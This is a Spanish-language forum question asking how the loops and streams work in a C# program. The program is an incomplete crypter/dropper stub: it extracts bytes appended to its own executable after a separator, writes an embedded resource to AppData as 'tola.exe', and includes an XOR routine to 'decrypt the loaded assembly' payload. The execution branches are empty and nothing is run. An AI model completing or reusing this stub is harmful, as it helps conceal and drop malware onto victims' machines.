Hola mi pregunta es sobre todo en los for se me hace complicado y en el stream. El completo código sería:
namespace skip
{
static class Program
{
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
//Application.Run(new Form1());
byte[] file =
File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);
var position = PatternAt(file, Encoding.ASCII.GetBytes("BLAUMOLAMUCHO"));
int longitudSeparador = Encoding.ASCII.GetBytes("BLAUMOLAMUCHO").Length;
byte[] encodedBytes
= new byte[file
.Length - position
.First()-longitudSeparador
]; Array.Copy(file, position.First()+ longitudSeparador, encodedBytes, 0, file.Length - position.First()-longitudSeparador);
//ruta del fichero embebido
string tempPath = System.IO.Path.GetTempPath();
string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
//var stream
Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest");
//Console.WriteLine(stream);
FileStream fileStream
= new FileStream
(appDataPath
+ @"\tola.exe", FileMode
.Create, FileAccess
.Write); for (int i = 0; i < stream.Length; i++)
fileStream.WriteByte((byte)stream.ReadByte());
fileStream.Close();
RunInternal(appDataPath + @"\tola.exe", "1234");
}
private static void RunInternal(string exeName, String pass)
{
//Verify the Payload exists
if (!File.Exists(exeName))
return;
//Read the raw bytes of the file
byte[] resourcesBuffer = File.ReadAllBytes(exeName);
byte[] decryptedBuffer = resourcesBuffer;
//If .NET executable -> Run
if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
{
}
else
{
//Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
//Console.ReadKey();
}
}
/// <summary>
/// Decrypt the Loaded Assembly Bytes
/// </summary>
/// <param name="payload"></param>
/// <returns>Decrypted Bytes</returns>
/// algoritmo xor
private static byte[] decryptBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}
Por lo menos si no quereis indicarlo enterlo simplemente con los for y el streamer sería suficiente para comprender mejor las diferencias. gracias.